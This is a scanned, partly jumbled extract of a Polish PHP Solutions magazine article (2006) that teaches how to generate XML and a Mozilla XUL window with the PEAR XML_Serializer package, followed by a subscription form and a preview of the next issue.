cation, a wraz z popularyzacją technologii AJAX XML coraz częściej pojawiają się również na zwykłych stronach internetowych. W obliczu wszechobecności XML-a we współczesnej informatyce, umiejętność tworzenia i parsowania kodu XML stała się koniecznością dla każdego programisty. Oczywiście XML znalazł również drogę do świata PHP, gdzie zadomowił się na dobre w różnorodnych zastosowaniach: formatowaniu dokumentów, składowaniu danych, protokołach SOAP i XML-RPC i wielu innych.

Co należy wiedzieć... Co obiecujemy...

Powinieneś się dobrze orientować w tematyce XML.

Pokażemy jak generować różnego rodzaju dokumenty XML z pomocą pakietu XML_Serializer

76

www.phpsolmag.org

PHP Solutions Nr 3/2006

XML_Serializer

PEAR

Słowo o XML-u

Zanim zajmiemy się samym pakietem XML_Serializer, nie zawadzi pokrótce przyjrzeć się formatowi i strukturze dokumentów XML. Twórcy specyfikacji XML wzorowali się na standardzie języka znaczników SGML (ang. Standard General Markup Language), opracowanym jeszcze w latach 80. jako format tekstowy nadający się do przetwarzania przez komputer. Ze względu na wysoki stopień ogólności SGML był jednak językiem bardzo skomplikowanym, stąd też potrzeba opracowania prostszej jego wersji, nadającej się do wykorzystania w Internecie i niewymagającej pełnego parsera SGML do przetwarzania dokumentów. XML jest więc podzbiorem języka SGML i opiera się na podobnych do niego założeniach, ale z uwzględnieniem dodatkowych ograniczeń mających na celu uproszczenie procesu parsowania. Listing 1 przedstawia przykładowy kod prostego dokumentu XML opisującego moje ulubione filmy. XML wygląda znajomo dla każdego, kto zna HTML. Nieprzypadkowo – oba języki są podzbiorami ogólniejszego formatu SGML. Dokument zaczyna się od deklaracji XML, określającej wersję formatu XML oraz metodę kodowania tekstu. W przypadku dokumentów w Unikodzie, Listing 1. Lista ulubionych filmów w prostym dokumencie XML
<?xml version="1.0"?> <movies> <movie>Piąty Element</movie> <movie>High Fidelity</movie> </movies>

w deklaracji XML należy umieścić atrybut encoding = "utf-8". Ciało dokumentu XML stanowi jeden znacznik nadrzędny, zawierający całą resztę dokumentu. W przykładzie z Listingu 1 znacznikiem nadrzędnym jest <movies>, w którym znajduje się wiele znaczników <movie>. Na razie dokument nie zawiera zbyt dużo informacji, może poza tym, że lubię filmy z dobrą ścieżką dźwiękową. Listing 2 przedstawia ten sam dokument rozbudowany o dodatkowe znaczniki zagnieżdżone i atrybuty. Specyfikacja XML znacznie oczywiście wykracza poza te proste przykłady, ale dla potrzeb tego artykułu więcej informacji o samym XML-u nie będziemy potrzebować.

Pakiet XML_Serializer nosi oznaczenie beta, jednak nie wynika ono z jakości kodu, a jedynie sygnalizuje możliwość przyszłych zmian w API. Zgodnie ze standardami PEAR, oznaczenie pakietu jako stabilnego (stable) jest równoznacznie zamrożeniu API w celu utrzymania kompatybilności. Z tego też względu twórcy intensywnie rozwijanych pakietów utrzymują je w stanie beta do czasu osiągnięcia przez API dojrzałości gwarantującej brak poważniejszych zmian w przyszłości.

Praca z pakietem XML_Serializer

Instalacja pakietu XML_Serializer

XML_Serializer jest zależny od kilku innych pakietów PEAR, więc instalacja wymaga wykonania następującego polecenia: pear install --alldeps xml_ serializer-beta. Spowoduje to zainstalowanie pakietów: XML_Serializer, XML_Util i XML_Parser.

Zanim zagłębimy się w mechanizmy funkcjonowania pakietu XML_Serializer, przyjrzyjmy się kodowi pokazującemu, jak łatwo generować kod XML z pomocą tego narzędzia (Listing 3). Zaczynamy od dołączenia pliku zawierającego kod klasy XML_Serializer, po czym tworzymy tablicę zawierającą dane oraz tablicę zawierającą opcje, na podstawie których XML_Serializer będzie generować kod XML. Tworząc instancję klasy XML_Serializer przekazujemy konstruktorowi tablicę opcji,

Listing 3. Generowanie kodu XML z pomocą pakietu XML_Serializer
require_once 'XML/Serializer.php'; $movies = array("Piąty Element", "High Fidelity"); $options = array ('rootName' => 'movies','defaultTagName' => 'movie'); $serializer = &new XML_Serializer($options); $status = $serializer->serialize($movies); $xml = $serializer->getSerializedData(); header('Content-type: text/xml'); echo $xml;

Listing 4. Generowanie kodu XML w trybie simplexml
$movies = array('movie' => array('Piąty Element', 'High Fidelity')); $options = array ('rootName' => 'movies', 'mode' => 'simplexml');

Listing 2. Lista ulubionych filmów z nieco bardziej szczegółowymi informacjami
<movies> <movie name="Piąty Element"> <writer>Luc Besson</writer> <year>1997</year> <imdb>tt0119116</imdb> </movie> <movie name="High Fidelity"> <writer>Nick Hornby</writer> <year>2000</year> <imdb>tt0146882</imdb> </movie> </movies>

Listing 5. Dodawanie atrybutów do znaczników XML za pomocą tablicy asocjacyjnej
$movies = array(array('attr' => array('name' => 'Piąty Element'), "writer" => "Luc Besson", "year" => "1997", "imdb" => "tt0119116"), array('attr' => array('name' => 'High Fidelity'), "writer" => "Nick Hornby", "year" => "2000", "imdb" => "tt0146882")); $options = array ('rootName' => 'movies', 'attributesArray' => "attr", 'defaultTagName' => 'movie');

PHP Solutions Nr 3/2006

www.phpsolmag.org

77

PEAR

XML_Serializer

Tabela 1. Niektóre opcje pakietu XML_Serializer Nazwa indent linebreak addDecl encoding defaultTagName scalarAsAttribute indentAttributes addDoctype doctype rootName rootAttributes attributesArray contentName commentName tagMap mode overrideOptions Opis Ciąg znaków używany do tworzenia wcięć Znak nowej linii (domyślnie \n) Dodanie deklaracji XML Kodowanie znaków w dokumencie Domyślna nazwa używana w przypadku braku jawnie określonego znacznika Serializacja wszystkich wartości jako atrybutów; może dotyczyć tylko wybranych znaczników Wyrównanie atrybutów w pionie w obrębie znacznika Dodanie deklaracji XML Doctype Ciąg znaków lub tablica z deklaracją Doctype Ciąg znaków z nazwą znacznika głównego Atrybuty znacznika głównego Klucz wskazujący tablicę atrybutów dla znacznika macierzystego Klucz wskazujący wartość używaną jako treść znacznika macierzystego; opcja używana z attributesArray Treść komentarza Odwzorowania nazw znaczników Opcja trybu – ustawienie trybu simplexml spowoduje wykorzystanie klucza wartości macierzystej jako nazwy znacznika Pozwala opcjom ustawionym za pomocą setOption() lub setOptions() przesłaniać opcje przekazane w konstruktorze kładowi z Listingu 1. Opcje generowania XML-a można też zmieniać już po utworzeniu instancji XML_Serializer za pomocą metod setOption() i setOptions(). Jeśli opcje przekazane za pomocą setOption() mają przesłonić opcje pierwotnie przekazane konstruktorowi, należy ustawić parametr overrideOptions na true. Przyglądając się kodowi XML z dotychczasowych przykładów nietrudno dostrzec podobieństwo między strukturą drzewa znaczników XML a strukturą tablicy asocjacyjnej w PHP. XML_Serializer wykorzystuje to właśnie podobieństwo – jak widać z przykładu, wystarczy tablica z danymi i kilka opcji określających sposób generowania kodu XML. Zapoznanie się ze wszystkimi dostępnymi opcjami jest istotnym elementem opanowania pakietu XML_Serializer. Na podstawie tablicy danych można wygenerować dowolnego rodzaju kod XML – wystarczy tylko podać odpowiednie opcje, a niekiedy dodatkowo zmodyfikować strukturę tablicy, by dokładniej odpowiadała strukturze pożądanego dokumentu XML. Tabela 1 przedstawia najważniejsze opcje, z których wiele poznamy na kolejnych przykładach. Dostępne są też inne opcje, ale dla potrzeb tego artykułu ich znajomość nie jest konieczna.

po czym możemy pobrać dane serializowane do kodu XML wywołując metodę getSerializedData(). Kod z Listingu 3 zwraca dane XML odpowiadające przyListing 6. Kod XML wygenerowany z opcją traktowania wszystkich wartości jako atrybutów
<movies> <movie imdb="tt0119116" name="Piąty Element" writer="Luc Besson" year="1997" /> <movie imdb="tt0146882" name="High Fidelity" writer="Nick Hornby" year="2000" /> </movies>

Tryby działania

Listing 7. XML z dodatkowymi informacjami o postaciach z filmów
<movies> <movie name='Piąty Element'> <writer>Luc Besson</writer> <year>1997</year> <imdb>tt0119116</imdb> <character name='Leeloo'> <actor>Milla Jovovich</actor> <imdb>nm0000170</imdb> </character> <character name='Korben Dallas'> <actor>Bruce Willis</actor> <imdb>nm0000246</imdb> </character> </movie> <!-- ... --> </movies>

W pierwszym przykładzie wykorzystaliśmy prostą tablicę jednowymiaro-

Rysunek 1. Interfejs dla skryptu pobierającego dane o filmach z bazy IMDB

78

www.phpsolmag.org

PHP Solutions Nr 3/2006

XML_Serializer
wą, a nazwy znaczników XML wskazaliśmy za pomocą opcji rootName i defaultTagName. XML_Serializer pozwala też osiągnąć ten sam efekt w inny sposób, co w naszym prostym przykładzie nie jest może konieczne, ale bardzo się przydaje w przypadku bardziej złożonych dokumentów XML. Za pomocą opcji mode możemy ustawić tryb działania simplexml, w którym z każdą wartością tablicy kojarzona jest nazwa klucza tablicy nadrzędnej, odpowiadająca nazwie znacznika. W trybie domyślnym można podać tylko jedną wartość defaultTagName, podczas gdy tryb simplexml pozwala jawnie określać nazwy znaczników na poszczególnych poziomach, co daje znacznie większą kontrolę nad strukturą dokumentu XML. Kod z Listingu 4 generuje identyczny XML, jak przykład wcześniejszy, ale tym razem korzystając z trybu simplexml. Decyzja o wyborze trybu w dużym stopniu zależy od rodzaju generowanego kodu XML. Tryb domyślny jest łatwy w obsłudze i w wielu przypadkach sprawdza się zupełnie dobrze, jednak w przypadku bardziej złożonych dokumentów jedyną możliwością jest tryb simplexml. Pewną wadą pracy w trybie simplexml jest konieczność tworzenia znacznie bardziej rozbudowanych tablic danych. XML_Serializer udostępnia kilka metod pracy z atrybutami. Pierwszym sposobem jest wykorzystanie opcji attributesArray, pozwalającej na przekazanie klucza definiującego tablicę zawierającą nazwy i wartości atrybutów, które mają być dodane do znacznika macierzystego. W kodzie z Listingu 5 klucz ten nosi nazwę attr. Wskazanie tak przygotowanej tablicy w opcjach przekazywanych obiektowi klasy XML_Serializer daje w wyniku kod XML z Listingu 2. Dość często trafia się kod XML, w którym wszystkie wartości są składowane jako atrybuty, czyli nie ma żadnych wartości w obrębie samych znaczników. Jeśli tak faktycznie jest, to można ustawić opcję scalarAsAttributes na true, co spowoduje traktowanie wszystkich wartości kluczy w ramach danego znacznika jako atrybutów. Listing 6 pokazuje kod XML wygenerowany z tych samych danych po podaniu tej opcji.

PEAR

żemy w tej samej tablicy umieścić dwóch kluczy o takiej samej nazwie character. Moglibyśmy nie używać klucza, ale wtedy XML_Serializer użyłby klucza domyślnego, któremu wcześniej przypisaliśmy wartość movie – a zupełnie nie o to nam chodzi. Rozwiązanie problemu wymaga przejścia we wspomniany wcześniej tryb simplexml i modyfikacji struktury tablicy. Dla zwiększenia czytelności podzieliłem jedną rozbudowaną tablicę na dwie mniejsze. W rzeczywistości dane będą najczęściej pobierane z zewnętrznego źródła (na przykład bazy danych lub usługi sieciowej), więc nie ma potrzeby operowania na dużych i niewygodnych tablicach zagnieżdżonych. Dla potrzeb naszego przykładu tablice dobrze jednak ilustrują proces generowania kodu wynikowego – Listing 8 pokazuje definicje odpowiednich tablic.

Rzeczywisty przykład

Znaczniki zagnieżdżone

Dodawanie atrybutów

Dotychczasowe przykłady generowały bardzo prosty kod XML, więc w kolejnym przykładzie pora wprowadzić atrybuty. R

Mamy już całkiem porządną strukturę dokumentu XML do składowania informacji o ulubionych filmach, ale przydałoby się ją jeszcze nieco rozbudować o informacje na temat głównych postaci filmu. Wymaga to dodania dla każdej postaci zestawu znaczników ją opisujących – Listing 7 przedstawia przykładowy kod XML. W tym momencie pojawia się problem: nie da się takiego dokumentu zapisać w postaci tablicy PHP, gdyż nie moE K L A M

Na tym etapie wiemy już, na czym polega generowanie kodu XML za pomocą pakietu XML_Serializer, pora więc wykorzystać tę wiedzę w praktyce i wygenerować coś, co mogłoby się przydać w rzeczywistych zastosowaniach. W tym celu wygenerujemy plik w formacie XUL – schemacie XML używanym do definiowania struktury interfejsu użytkownika w przeglądarkach z rodziny Mozilla. Wykorzystamy tablicę danych z ostatniego przykładu, po czym podając odpowiednie opcje przetworzymy ją do postaci poprawnego dokumentu XUL, któA

PHP Solutions Nr 3/2006

www.phpsolmag.org

79

PEAR

XML_Serializer
ry zostanie następnie zinterpretowany przez przeglądarkę jako okno interfejsu użytkownika z zakładkami zawierającymi dodatkowe informacje o filmach pobrane z bazy danych IMDB (Rysunek 1). Listing 9 przedstawia kod realizujący to zadanie. Dane z tablicy $movies z poprzedniego przykładu są pobierane w pętli foreach i używane do stworzenia nowej tablicy, na podstawie której zostanie wygenerowany kod XUL. Niektóre z opcji poznaliśmy już wcześniej, lecz pojawia się również kilka nowych. Opcja rootAttributes przyjmuje argument w postaci tablicy określającej atrybuty dla znacznika głównego – generujemy dokument XUL, więc musimy podać odpowiednią dla tego formatu wartość atrybutu namespace. Dodatkowo nadałem oknu tytuł Moje ulubione filmy i ustawiłem dwie spacje jako ciąg używany tworzenia wcięć w kodzie XML (to oczywiście tylko kosmetyka, ale dzięki temu kod jest bardziej czytelny). Listing 10 przedstawia kod XML generowany przez ten przykład, a na Rysunku 1 widzimy ostateczną postać interfejsu XUL wyświetlanego przez przeglądarki Mozilla.

Listing 8. Tablica danych o filmach po przebudowaniu do pracy w trybie simplexml
$characters = array( array( 'attr' => array('name' => 'Leeloo'), 'actor' => 'Milla Jovovich', 'imdb' => 'nm0000170'), array( 'attr' => array('name' => 'Korben Dallas'), 'actor' => 'Bruce Willis', 'imdb' => 'nm0000246')); $movies=array('movie'=>array(array('attr'=>array('name' => 'Piąty Element'), 'writer' => "Luc Besson", 'year' => "1997", 'imdb' => "tt0119116", 'character' => $characters)); $options = array ( 'rootName' => 'movies', 'attributesArray' => "attr", 'mode' => 'simplexml');

Listing 9. Kod generujący dokument z definicją interfejsu XUL
$browser_data = array('height' => "400", 'width' => "550"); foreach ($movies['movie'] as $m){ $tabs["tab"][]=array('label'=>$m['attr']['name']."({$m['year']})"); $url = "http://us.imdb.com/title/". $m['imdb']; $movie_site = array("src" => $url,"id" => $m['imdb']); $tab['label'] = $m['attr']['name']; $tab['browser'] = array_merge($browser_data, $movie_site); $tab_panels['tabpanel'][] = $tab; } $data = array("tabbox" => array("tabs" => $tabs, "tabpanels" => $tab_panels)); $options = array ('addDecl' => TRUE, 'rootName' => 'window', "defaultTagName" => 'tab', "scalarAsAttributes" => true, "mode" => 'simplexml', 'indent' => ' ', 'rootAttributes' => array("xmlns" => "http://...is.only.xul","title"=>"Moje ulubione filmy")); $serializer = &new XML_Serializer($options); $status = $serializer->serialize($data); $xml = $serializer->getSerializedData(); header('Content-type: application/vnd.mozilla.xul+xml'); echo $xml;

Podsumowanie

Listing 10. Kod XUL wygenerowany przez przykładowy skrypt
<?xml version="1.0"?> <window title="Moje ulubione filmy" xmlns="http://www.mozilla.org/keymaster/ gatekeeper/there.is.only.xul"> <tabbox> <tabs> <tab label="Piąty Element (1997)" /> <tab label="High Fidelity (2000)" /> </tabs> <tabpanels> <tabpanel label="Piąty Element"> <browser height="400" id="tt0119116" src="..." width="550" /> </tabpanel> <tabpanel label="High Fidelity"> <browser height="400" id="tt0146882" src="..." width="550" /> </tabpanel> </tabpanels> </tabbox> </window>

W tym krótkim artykule poznaliśmy zasady wykorzystania pakietu XML_Serializer do tworzenia różnego rodzaju plików XML. XML_Serializer to naprawdę świetny pakiet i intensywnie korzystam z niego w codziennej pracy. Istnieją wprawdzie inne sposoby generowania kodu XML, ale jak dotąd nie znalazłem żadnego rozwiązania, które sprawdzałoby się równie dobrze i byłoby równie proste. Mam nadzieję, że udało mi się pokazać możliwości tego pakietu i że będzie on dla Czytelników równie użyteczny, jak dla mnie. n

O autorze
Aaron Wormus programuje w PHP od 1999 r. Zajmował się tworzeniem rozwiązań intranetowych w Perlu i technologiach pokrewnych. Aaron koncentruje się na dostarczaniu przedsiębiorstwom wysokiej jakości rozwiązań intranetowych i wykorzystuje potęgę PHP w pracy konsultanta. Kontakt z autorem: [email protected]

80

www.phpsolmag.org

PHP Solutions Nr 3/2006

zamówienie prenumeraty
Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Warszawa, e-mail: [email protected]. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44
Imię i nazwisko............................................................................................ Nazwa firmy................................................................................................. ID kontrahenta.......................................................................................... Numer NIP firmy.......................................................................................

Dokładny adres.................................................................................................................................................................................................................... Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) .................................................... E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
automatyczne przedłużenie prenumeraty

Tytuł
Software Developer’s Journal (1 płyta CD) – dawniej Software 2.0 Miesięcznik profesjonalnych programistów SDJ Extra (od 1 do 4 płyt CD lub DVD) – dawniej Software 2.0 Extra! Numery tematyczne dla programistów
Linux+ (2 płyty CD)

Ilość numerów

Ilość zamawianych prenumerat

Od numeru pisma lub miesiąca

Opłata w zł z VAT

12 6 12 12 8 6 6 6 4

250/1801 150/1352 250/1801 270/1981 232/1982 135 135 140 1193

Miesięcznik o systemie Linux
Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux
Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP
Hakin9, jak się obronić (1 płyta CD)

Dwumiesięcznik o bezpieczeństwie i hakingu
.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop
Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

Suma

1 2 3

Cena prenumeraty rocznej dla osób prywatnych Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+ Cena prenumertaty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na stronę naszego sklepu internetowego:

www.shop.software.com.pl

PHP Solutions

W następnym numerze

4/2006(15)

TECHNIKI
PHP, XML i Java – Guillaume Ponçon krok po kroku przedstawi łączenie w PHP dwóch bardzo ważnych technologii: XML oraz Java. Artykuł pod tytułem PHP, XML i Java w praktyce wyczerpująco przedstawi te zagadnienia.

NARZĘDZIA
EyeOS – Web Based Desktop System – Po raz drugi staniemy przed pytaniem: Internet na biurku czy biurko w Internecie? Artykuł rozwinie wątki poruszone w tym numerze skupiając się na technicznych aspektach działania systemu oraz jego aplikacji.

PROJEKTY
Video streaming – Stefan Richter, Frederic Bochman z flashcomguru.com pokażą techniki, które pozwoliły na zbudowanie Google Video, oraz kompletne rozwiązanie pozwalające na uruchomienie Video Streamingu na własnym serwerze. Porównanie Galerii zdjęć w PHP – wśród dostępnych rozwiązań można przebierać, ale ile z nich naprawdę zasługuje na naszą uwagę? Które należy brać pod uwagę w przypadku specjalnych wymagań? Na te pytanie postaramy się odpowiedzieć w tym porównaniu, stworzonym przy współpracy z developerami poszczególnych projektów.

Ponadto planujemy: ■ ■ ■
MSSQL i PHP IRC BOT w PHP Wzorzec Active Record i jego zaawansowane zastosowania

od 20 cze rwca!

W sprzed aży

a także ciąg dalszy artykułów poświęconych bezpieczeństwu aplikacji oraz wykorzystaniu wzorców projektowych

Sponsor Documents

Or use your account on DocShare.tips

Hide

Forgot your password?

Or register your new account on DocShare.tips

Hide

Lost your password? Please enter your email address. You will receive a link to create a new password.

Back to log-in

Close